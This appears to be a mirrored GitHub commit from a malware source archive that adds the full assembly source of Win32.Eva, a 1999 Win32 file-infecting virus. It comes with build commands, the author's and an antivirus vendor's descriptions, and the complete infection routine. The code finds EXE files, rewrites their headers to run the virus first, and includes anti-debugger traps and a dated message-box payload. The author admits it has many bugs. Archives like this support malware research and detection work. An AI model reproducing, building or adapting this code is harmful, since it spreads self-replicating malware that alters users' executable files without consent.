mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,686 @@
|
||||
;Win32.Eva virus.
|
||||
;(c) 1999 by Benny
|
||||
;
|
||||
;
|
||||
;Author's description
|
||||
;---------------------
|
||||
;
|
||||
;Let me introduce my first COMPLETE Win32 infector. Yeah, i have written several parts
|
||||
;of viruses, but this babe is my tiniest one with all needed functions to spread out.
|
||||
;Win32.Eva is simple appender, infects one EXE file by changing pointer at 3ch
|
||||
;in the MZ header, which points to new exe. After infection, MZ_lfanew pointer will be
|
||||
;pointing to the viruses new PE header. So, if u will execute infected program under Win9X,
|
||||
;WinNT or under Win3.1x with Win32s subsystem, program will start at the new location.
|
||||
;After virus will be done with his work executes program again with changed
|
||||
;MZ_lfanew pointer, that will be pointing to the original PE header.
|
||||
;
|
||||
;
|
||||
;Payload
|
||||
;--------
|
||||
;
|
||||
;On February the 2nd will display message box with some stupid comments.
|
||||
;
|
||||
;
|
||||
;To build
|
||||
;---------
|
||||
;
|
||||
;tasm32 -ml -m5 -q eva.asm
|
||||
;tlink32 -Tpe -c -x -aa -r eva,,, import32
|
||||
;pewrsec eva.exe (thanx Jacky !)
|
||||
;
|
||||
;
|
||||
;AVP's description
|
||||
;------------------
|
||||
;
|
||||
;This is a direct action (nonmemory resident) parasitic Win32 infector. It
|
||||
;searches for PE EXE files in the Windows, Windows system [* Benny's note: it
|
||||
;DOESN'T infect files in Windows/System directory!] and current directories,
|
||||
;then writes itself to the end of the file. While infecting the virus does not
|
||||
;modify the PE header at all, the infection way is based only on DOS Stub
|
||||
;header: the virus writes to there new file offset of PE header (virus PE
|
||||
;header). As a result the infected file has three parts: first part is original
|
||||
;DOS stub, the second part is host PE data (not modified), third part is virus
|
||||
;code and data.
|
||||
;
|
||||
;The virus has PE file structure: it contains PE header, section headers, import
|
||||
;table, code and data sections. The modified DOS stub in infected files points
|
||||
;to virus PE header instead of original ones. As a result, Windows32 while
|
||||
;executing infected files reads and runs virus code instead of host one.
|
||||
;
|
||||
;To return to the host program the virus creates a copy of the infected file,
|
||||
;disinfects it (just restores file offset of PE header) and spawns.
|
||||
;
|
||||
;On February 2nd the virus displays the message window:
|
||||
;
|
||||
; Win32.Eva by Benny, (c) 1999
|
||||
; Hello stupid user, i'm so sorry, but i have to interrupt your work,
|
||||
; 'cause I hate this shitty program. Click OK to continue.
|
||||
;
|
||||
; Greets to:
|
||||
; Super/29A
|
||||
; Darkman/29A
|
||||
; Jacky Qwerty/29A
|
||||
; Billy Belcebu/DDT
|
||||
; and many other 29Aers...
|
||||
;
|
||||
;
|
||||
;Some greets
|
||||
;------------
|
||||
;
|
||||
;All 29Aers.... And thats only the beginnin' :-)
|
||||
;Super/29A..... However, blue screen is still the best Sexy's effect :-)
|
||||
;
|
||||
;
|
||||
;Who is Eva ?
|
||||
;-------------------------
|
||||
;
|
||||
;Eva is one pretty girl with nice black/red hair and lovely eyes.
|
||||
;I hope, that this work (fully programmed and commented by three days - good
|
||||
;motivation :-)) will say some words to Eva better than I X-DD. I hate myself.
|
||||
;
|
||||
;
|
||||
;Last notes
|
||||
;-----------
|
||||
;
|
||||
;This virus has many bugs (after many repairs without tests) and in this time, I don't care
|
||||
;about it. Don't bitch if, that it doesn't work and look at my last viruses... Hey, it's my first
|
||||
;virus, so gimme space for living X-D.
|
||||
;
|
||||
;
|
||||
;And here is it...
|
||||
|
||||
|
||||
|
||||
.386p ;386 instructions
|
||||
.model flat ;32bit offset, no segments
|
||||
|
||||
|
||||
include PE.inc ;include some needed files
|
||||
include MZ.inc
|
||||
include Useful.inc
|
||||
include win32api.inc
|
||||
|
||||
|
||||
extrn FindFirstFileA:PROC ;and import needed APIs
|
||||
extrn SetFileAttributesA:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn CreateFileMappingA:PROC
|
||||
extrn MapViewOfFile:PROC
|
||||
extrn UnmapViewOfFile:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn FindClose:PROC
|
||||
extrn FindNextFileA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn CreateProcessA:PROC
|
||||
extrn GetModuleFileNameA:PROC
|
||||
extrn WaitForSingleObject:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
extrn GetCurrentDirectoryA:PROC
|
||||
extrn GetWindowsDirectoryA:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn GetVersion:PROC
|
||||
extrn GetSystemTime:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
extrn GetLastError:PROC
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn GetProcAddress:PROC
|
||||
extrn SetFilePointer:PROC
|
||||
extrn SetEndOfFile:PROC
|
||||
|
||||
.data ;data section
|
||||
|
||||
msgTitle db 'Win32.Eva by Benny, (c) 1999', 0
|
||||
msgText db 'Hello stupid user, i''m so sorry, but i have to interrupt your work,', 0dh
|
||||
db '''cause I hate this shitty program. Click OK to continue.', 0dh, 0dh
|
||||
db 'Greets to:', 0dh
|
||||
db 9, 'Super/29A', 0dh
|
||||
db 9, 'Darkman/29A', 0dh
|
||||
db 9, 'Jacky Qwerty/29A', 0dh
|
||||
db 9, 'Billy Belcebu/DDT', 0dh, 0dh
|
||||
db 9, 'and many other 29Aers...', 0dh, 0dh, 0
|
||||
|
||||
kernel db 'KERNEL32', 0
|
||||
IsDebuggerPresent db 'IsDebuggerPresent', 0
|
||||
fmask db '*.EXE',0 ;search mask
|
||||
DestFile db 'aaaaeva.exe', 0 ;temporary file
|
||||
org $ - 1
|
||||
space db ? ;space between name and params
|
||||
CmdLine db 256 - 12 dup (?) ;command line
|
||||
win32_find_data WIN32_FIND_DATA ?
|
||||
search_handle dd ?
|
||||
hFile dd ?
|
||||
hMyFile dd ?
|
||||
hMapFile dd ?
|
||||
hMyMapFile dd ?
|
||||
lpFile dd ?
|
||||
lpMyFile dd ?
|
||||
|
||||
lppiProcInfo: ;needed by CreateProcessA
|
||||
hProcess dd ?
|
||||
hThread dd ?
|
||||
dwProcessID dd ?
|
||||
dwThreadID dd ?
|
||||
lpFileName db 256 dup (?)
|
||||
lpsiStartInfo db 64 dup (?)
|
||||
lpWindowsPath db 256 dup (?)
|
||||
lpCurrentPath db 256 dup (?)
|
||||
org lpCurrentPath
|
||||
lpSystemTime db 16 dup (?) ;these variables may overlap
|
||||
ends
|
||||
|
||||
.code ;code of virus starts here
|
||||
Start:
|
||||
pushad
|
||||
pushad
|
||||
|
||||
@SEH_SetupFrame ;setup SEH frame
|
||||
inc dword ptr [edx] ;bye TD32 !
|
||||
db 2dh ;some prefix
|
||||
|
||||
seh_rs:
|
||||
push 256
|
||||
push offset lpFileName
|
||||
push 0
|
||||
call GetModuleFileNameA ;get file-name of me
|
||||
|
||||
test_dir: ;i wont infect files in Windows
|
||||
;dir, 'cause NT could crash
|
||||
;on start
|
||||
mov esi, offset lpCurrentPath
|
||||
push esi
|
||||
push esi
|
||||
push 256
|
||||
call GetCurrentDirectoryA ;get current directory
|
||||
pop ebx
|
||||
|
||||
push 256
|
||||
mov edi, offset lpWindowsPath
|
||||
push edi
|
||||
call GetWindowsDirectoryA ;getwindows directory
|
||||
|
||||
N_Char: cmpsb ;compare
|
||||
jpatch: jne NoMatch ;no match, jump
|
||||
jne FindFile ;second jump for next test
|
||||
cmp byte ptr [esi - 1], 0 ;end of string ?
|
||||
jne N_Char ;no, get next char
|
||||
jmp quit_to_host ;yeah, we're in Windows dir.,
|
||||
;jump to host
|
||||
|
||||
db 68h ;some prefix
|
||||
NoMatch:push 256
|
||||
mov edi, offset lpWindowsPath
|
||||
push edi
|
||||
call GetSystemDirectoryA ;get windows system dir.
|
||||
|
||||
mov word ptr [jpatch], 9090h ;path first jump with NOPs,
|
||||
;second will take effect
|
||||
mov esi, ebx
|
||||
jmp N_Char ;and test directory
|
||||
db 8bh ;some prefix
|
||||
|
||||
FindFile:
|
||||
push offset win32_find_data
|
||||
push offset fmask
|
||||
call FindFirstFileA ;find first file
|
||||
test eax, eax
|
||||
je exit_search ;no files, quit
|
||||
mov search_handle, eax ;save search handle
|
||||
|
||||
try_infect:
|
||||
cmp win32_find_data.WFD_nFileSizeHigh, 0 ;discard huge files
|
||||
jne Try_Next
|
||||
|
||||
mov eax, [win32_find_data.WFD_nFileSizeLow]
|
||||
cmp eax, 4096*4 ;discard small files
|
||||
jb Try_Next
|
||||
cmp eax, (64*64*512)+1 ;discard huge files
|
||||
jb @1
|
||||
|
||||
Try_Next:
|
||||
push offset win32_find_data
|
||||
push [search_handle]
|
||||
call FindNextFileA ;try next file
|
||||
xchg eax, ecx
|
||||
jecxz exit_search ;no files, quit
|
||||
jmp try_infect ;try infect it
|
||||
|
||||
db 67h ;some prefix
|
||||
@1: mov edx, offset win32_find_data.WFD_szFileName
|
||||
push edx
|
||||
push 0
|
||||
push edx
|
||||
call SetFileAttributesA ;black file attributes
|
||||
pop edx
|
||||
xchg eax, ecx
|
||||
jecxz Try_Next ;can't set attributes, try next
|
||||
|
||||
call OpenFile ;open and map file
|
||||
jecxz Try_Next ;cant map file, try next
|
||||
call InfectFile ;infect file
|
||||
cmp eax, 'EVA' ;infection OK ?
|
||||
je exit_search ;no, try next
|
||||
|
||||
push [lpFile]
|
||||
call UnmapViewOfFile ;unmap view of file
|
||||
push [hMapFile]
|
||||
call CloseHandle ;close file mapping object
|
||||
|
||||
|
||||
;error, we MUST TRUNCATE FILE BACK !
|
||||
push 0
|
||||
push 0
|
||||
push [win32_find_data.WFD_nFileSizeLow]
|
||||
push [hFile]
|
||||
call SetFilePointer ;set file pointer to original size
|
||||
push [hFile]
|
||||
call SetEndOfFile ;and truncate file
|
||||
call end_OpenFile3 ;close file
|
||||
jmp Try_Next ;try next file
|
||||
|
||||
exit_search:
|
||||
call CloseFile ;close and unmap file
|
||||
call MyClose ;close and unmap my file
|
||||
|
||||
push [win32_find_data.WFD_dwFileAttributes]
|
||||
push offset win32_find_data.WFD_szFileName
|
||||
call SetFileAttributesA ;set back file attributes
|
||||
|
||||
push [search_handle]
|
||||
call FindClose ;close search handle
|
||||
|
||||
quit_to_host:
|
||||
push offset lpSystemTime ;test for activate payload
|
||||
call GetSystemTime ;get system time
|
||||
push 2
|
||||
pop ecx ;ecx = 2
|
||||
cmp word ptr [lpSystemTime+2], cx ;is February ?
|
||||
jne no_payload
|
||||
cmp word ptr [lpSystemTime+6], cx ;is 2nd of February
|
||||
jne no_payload
|
||||
cmp word ptr [lpSystemTime+12], cx ;2 seconds ?
|
||||
jne no_payload
|
||||
|
||||
push 1000h ;system modal window
|
||||
push offset msgTitle ;title
|
||||
push offset msgText ;test
|
||||
push 0 ;owner - NULL
|
||||
call MessageBoxA ;display bessage box
|
||||
|
||||
no_payload:
|
||||
push 0 ;overwrite file, if exist already
|
||||
push offset DestFile ;destination file
|
||||
cpyf: push offset lpFileName ;source file
|
||||
call CopyFileA ;copy file
|
||||
test eax, eax ;error ? (disk full, for example)
|
||||
jne getcommandline
|
||||
|
||||
call GetLastError ;get las error
|
||||
cmp eax, 32 ;another process is using this file
|
||||
jne exit ;unknown error, exit
|
||||
|
||||
push 0 ;everwrite file
|
||||
mov edx, offset DestFile ;dest. file
|
||||
inc dword ptr [edx] ;try generate another file
|
||||
push edx
|
||||
jmp cpyf ;and try to copy file again
|
||||
|
||||
db 8bh ;some prefix
|
||||
getcommandline: ;now we will skip our filename
|
||||
call GetCommandLineA ;get command line
|
||||
mov esi, eax ;set source
|
||||
cat: lodsb ;get char
|
||||
cmp al, 0 ;no params ?
|
||||
je run_prg
|
||||
cmp al, '"' ;long files r written with ""s
|
||||
je long_name
|
||||
cmp al, 20h ;is it space ?
|
||||
jne cat
|
||||
|
||||
cat1: mov edi, offset CmdLine ;destination
|
||||
lodsb ;movsb with char in al
|
||||
stosb
|
||||
cmp al, 0 ;end of params ?
|
||||
je run_prg
|
||||
|
||||
cat0: lodsb ;same as previous
|
||||
stosb
|
||||
cmp al, 0
|
||||
jne cat0
|
||||
|
||||
run_prg:
|
||||
mov edx, offset DestFile ;edx as file to param
|
||||
mov win32_find_data.WFD_nFileSizeLow, 2048 ;save num. of bytes to map
|
||||
call OpenFile ;open and map our file
|
||||
jecxz end_host ;if error, quit
|
||||
mov eax, [ecx.MZ_lfanew - 4] ;load oroginal MZ_lfanew
|
||||
mov [ecx.MZ_lfanew], eax ;and save it to that original pos.
|
||||
call CloseFile ;close and unmap file
|
||||
|
||||
mov [space], 20h ;add params
|
||||
xor eax, eax
|
||||
push offset lppiProcInfo ;procinfo
|
||||
push offset lpsiStartInfo ;start info
|
||||
mov [lpsiStartInfo], SIZE lpsiStartInfo ;size of start info
|
||||
push eax ;directory
|
||||
push eax ;enviroment
|
||||
push eax ;create options
|
||||
push eax ;inherit handles ?
|
||||
push eax ;thread SA
|
||||
push eax ;process SA
|
||||
push offset DestFile ;command line
|
||||
push eax ;app name
|
||||
call CreateProcessA ;create process !
|
||||
xchg eax, ecx
|
||||
jecxz end_host ;if error, quit
|
||||
|
||||
push -1 ;infinite
|
||||
push [hProcess] ;child process
|
||||
call WaitForSingleObject ;wait for signaled state
|
||||
|
||||
push [hThread]
|
||||
call CloseHandle ;close thread primary thread handle
|
||||
push [hProcess]
|
||||
call CloseHandle ;close process handle
|
||||
|
||||
end_host:
|
||||
mov edi, offset DestFile
|
||||
push edi ;file to delete
|
||||
mov byte ptr [edi+space-DestFile], 0 ;add NULL between file and params
|
||||
call DeleteFileA ;delete it !
|
||||
|
||||
exit: popad ;restore all registers
|
||||
ret ;otherwise this quit metod will not work !
|
||||
|
||||
db 75h ;some prefix
|
||||
long_name:
|
||||
lodsb ;load char
|
||||
cmp al, '"'
|
||||
jne long_name ;wait for next "
|
||||
jmp cat1
|
||||
|
||||
db 73h ;some prefix
|
||||
InfectFile proc
|
||||
mov ebx, ecx ;save address of MM-file
|
||||
cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ
|
||||
jne end_InfectFile
|
||||
cmp dword ptr [ecx.MZ_lfanew-4], 0 ;mustn't be infected already
|
||||
jne end_InfectFile
|
||||
mov edx, [ecx.MZ_lfanew]
|
||||
add ecx, edx
|
||||
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
|
||||
jne end_InfectFile
|
||||
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+
|
||||
jne end_InfectFile
|
||||
|
||||
movzx eax, word ptr [ecx.NT_FileHeader.FH_Characteristics]
|
||||
not al
|
||||
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
|
||||
jne end_InfectFile ;must be executable, mustn't be DLL
|
||||
|
||||
;at this point:
|
||||
; EBX - start of MM-file
|
||||
; ECX - PE header of MM-file
|
||||
|
||||
|
||||
mov ebp, ebx
|
||||
mov edi, ecx
|
||||
sub edi, ebx
|
||||
mov [ebx.MZ_lfanew-4], edi ;save original MZ_lfanew
|
||||
mov eax, win32_find_data.WFD_nFileSizeLow
|
||||
mov [ebx.MZ_lfanew], eax
|
||||
mov edi, ebx
|
||||
add edi, eax
|
||||
|
||||
mov edx, [ebx.MZ_lfanew]
|
||||
add edx, ebx
|
||||
push edx ;push it, will be needed l8r
|
||||
|
||||
call MyOpen ;open and map me
|
||||
|
||||
pop edx
|
||||
jecxz end_InfectFile ;can't open, quit
|
||||
|
||||
push edx
|
||||
mov esi, [ecx.MZ_lfanew]
|
||||
add esi, ecx
|
||||
push ecx
|
||||
mov ecx, (503) / 4 ;PE header size + section header size
|
||||
cld
|
||||
rep movsd ;copy PE header + all section headers
|
||||
pop esi
|
||||
pop edx
|
||||
|
||||
|
||||
;at this point:
|
||||
; EDX - start of our new PE header
|
||||
; EBP - start of MM-file (MZ header)
|
||||
; ESI - start of MM prg+virus (MZ header)
|
||||
; EDI - pointer to memory, where will be copied virus sections
|
||||
|
||||
push ebp
|
||||
;from ...
|
||||
mov ecx, [esi.MZ_lfanew]
|
||||
add ecx, esi
|
||||
movzx ebx, word ptr [ecx.NT_FileHeader.FH_SizeOfOptionalHeader] ;size of optional header
|
||||
|
||||
;to ...
|
||||
mov ebp, edx
|
||||
movzx edx, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] ; ...
|
||||
mov eax, 4 ;number of sections
|
||||
|
||||
copy_sections:
|
||||
pushad
|
||||
|
||||
pushad
|
||||
call Align ;align position
|
||||
mov [esp.Pushad_edi], edi
|
||||
popad
|
||||
|
||||
;from ...
|
||||
lea ebx, [ecx.NT_OptionalHeader + ebx]
|
||||
add esi, [ebx.SH_PointerToRawData] ;address of section data
|
||||
mov ecx, [ebx.SH_SizeOfRawData] ;size of section data
|
||||
|
||||
;to ...
|
||||
lea edx, [ebp.NT_OptionalHeader + edx]
|
||||
mov ebx, edi
|
||||
sub ebx, [esp.cPushad.RetAddr]
|
||||
mov [edx.SH_PointerToRawData], ebx ;save pointer
|
||||
rep movsb
|
||||
|
||||
mov [esp.Pushad_edi], edi
|
||||
popad
|
||||
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
|
||||
sub edx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
|
||||
dec eax
|
||||
jne copy_sections
|
||||
|
||||
pop ebp
|
||||
mov eax, 'EVA' ;success, toggle flag
|
||||
end_InfectFile:
|
||||
ret
|
||||
InfectFile EndP
|
||||
|
||||
|
||||
db 72h ;some prefix
|
||||
Align Proc
|
||||
mov eax, edi
|
||||
mov ebx, 200h ;our align
|
||||
AlignIt:xor edx, edx ;nulify idiv remaider
|
||||
push eax
|
||||
idiv ebx ;divide it !
|
||||
pop eax
|
||||
test edx, edx ;mod = 0 ?
|
||||
je end_align ;yeah, align complete
|
||||
inc eax ;no, increment address
|
||||
jmp AlignIt ;and jump back
|
||||
end_align:
|
||||
mov edi, eax ;edi = new aligned address
|
||||
ret
|
||||
Align EndP
|
||||
|
||||
|
||||
db 75h ;some prefix
|
||||
MyOpen proc
|
||||
cdq ;edx = 0
|
||||
push edx ;hTemlate
|
||||
push edx ;normal attributes
|
||||
push OPEN_EXISTING ;creation options
|
||||
push edx ;SA
|
||||
push FILE_SHARE_READ or FILE_SHARE_WRITE ;share mode
|
||||
push GENERIC_READ ;desired access
|
||||
push offset lpFileName ;lpFileName
|
||||
call CreateFileA ;open it !
|
||||
inc eax ;eax = -1 ?
|
||||
je end_MyOpen3
|
||||
dec eax
|
||||
mov hMyFile, eax ;save handle
|
||||
mov esi, eax
|
||||
|
||||
cdq ;edx = 0
|
||||
push edx ;lpszMapName
|
||||
push edx ;max. size low
|
||||
push edx ;max. size high
|
||||
push PAGE_READONLY ;fdwProtect
|
||||
push edx ;SA
|
||||
push esi ;hFile
|
||||
call CreateFileMappingA ;create mapping !
|
||||
xchg eax, ecx
|
||||
jecxz end_MyOpen2 ;eax = 0 ?
|
||||
mov hMyMapFile, ecx ;save handle
|
||||
|
||||
xor eax, eax ;eax = 0
|
||||
push eax ;bytes to map
|
||||
push eax ;offset low
|
||||
push eax ;offset high
|
||||
push FILE_MAP_READ ;dwDesiredAccess
|
||||
push ecx ;hMapObj
|
||||
call MapViewOfFile ;map it !
|
||||
mov lpMyFile, eax ;save handle
|
||||
xchg eax, ecx ;ret. value in ecx
|
||||
ret
|
||||
|
||||
db 76h ;some prefix
|
||||
MyClose:
|
||||
push [lpMyFile]
|
||||
call UnmapViewOfFile ;close mapped file
|
||||
end_MyOpen2:
|
||||
push [hMyMapFile]
|
||||
call CloseHandle ;close mapping
|
||||
end_MyOpen3:
|
||||
push [hMyFile]
|
||||
call CloseHandle ;close file
|
||||
xor ecx, ecx
|
||||
ret
|
||||
MyOpen EndP
|
||||
|
||||
|
||||
db 75h ;some prefix
|
||||
;same as previous
|
||||
OpenFile proc
|
||||
xor eax, eax
|
||||
push eax
|
||||
push eax
|
||||
push OPEN_EXISTING
|
||||
push eax
|
||||
mov al, 1
|
||||
push eax
|
||||
ror eax, 1
|
||||
rcr eax, 1
|
||||
push eax
|
||||
push edx
|
||||
call CreateFileA
|
||||
cdq
|
||||
inc eax
|
||||
je end_OpenFile3
|
||||
dec eax
|
||||
mov hFile, eax
|
||||
|
||||
push edx
|
||||
mov esi, win32_find_data.WFD_nFileSizeLow
|
||||
sub esi, -4096
|
||||
push esi
|
||||
push edx
|
||||
push PAGE_READWRITE
|
||||
push 0
|
||||
push eax
|
||||
call CreateFileMappingA
|
||||
cdq
|
||||
xchg eax, ecx
|
||||
jecxz end_OpenFile2
|
||||
mov hMapFile, ecx
|
||||
|
||||
push esi
|
||||
push edx
|
||||
push edx
|
||||
push FILE_MAP_WRITE
|
||||
push ecx
|
||||
call MapViewOfFile
|
||||
mov lpFile, eax
|
||||
xchg eax, ecx
|
||||
ret
|
||||
|
||||
db 76h ;some prefix
|
||||
CloseFile:
|
||||
push [lpFile]
|
||||
call UnmapViewOfFile
|
||||
end_OpenFile2:
|
||||
push [hMapFile]
|
||||
call CloseHandle
|
||||
end_OpenFile3:
|
||||
push [hFile]
|
||||
call CloseHandle
|
||||
xor ecx, ecx
|
||||
ret
|
||||
OpenFile EndP
|
||||
|
||||
|
||||
db 77h ;some prefix
|
||||
seh_fn:
|
||||
@SEH_RemoveFrame ;remove SEH frame
|
||||
popad ;restore regs
|
||||
|
||||
call GetVersion ;get windows version
|
||||
cmp eax, 80000000h ;is it WinNT ?
|
||||
jb NT_debug_trap ;yeah, freeze this app
|
||||
cmp ax, 0a04h ;or Win98
|
||||
jb no_debug_trap ;Win95-
|
||||
|
||||
debug_trap: ;Win95/98
|
||||
call IsDebugger
|
||||
mov eax, 909119cdh ;set some instructions
|
||||
jmp $ - 4 ;say bye to your balls :-)
|
||||
|
||||
db 2dh ;some prefix
|
||||
no_debug_trap:
|
||||
jmp seh_rs ;jump back
|
||||
|
||||
db 2dh ;some prefix
|
||||
NT_debug_trap:
|
||||
call IsDebugger
|
||||
xor esp, esp ;this will freeze our app
|
||||
push ecx ;if not, this will cause
|
||||
;access violation exception
|
||||
IsDebugger:
|
||||
pop ebx
|
||||
push offset kernel
|
||||
call GetModuleHandleA ;get memory address of kernel32
|
||||
xchg eax, ecx
|
||||
jecxz no_debug_trap ;error, jump
|
||||
push offset IsDebuggerPresent
|
||||
push ecx
|
||||
call GetProcAddress ;get procedure address of our API
|
||||
xchg eax, ecx
|
||||
jecxz no_debug_trap
|
||||
call ecx ;call IsDebuggerPresent
|
||||
xchg eax, ecx
|
||||
jecxz no_debug_trap
|
||||
jmp ebx
|
||||
ends
|
||||
End Start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user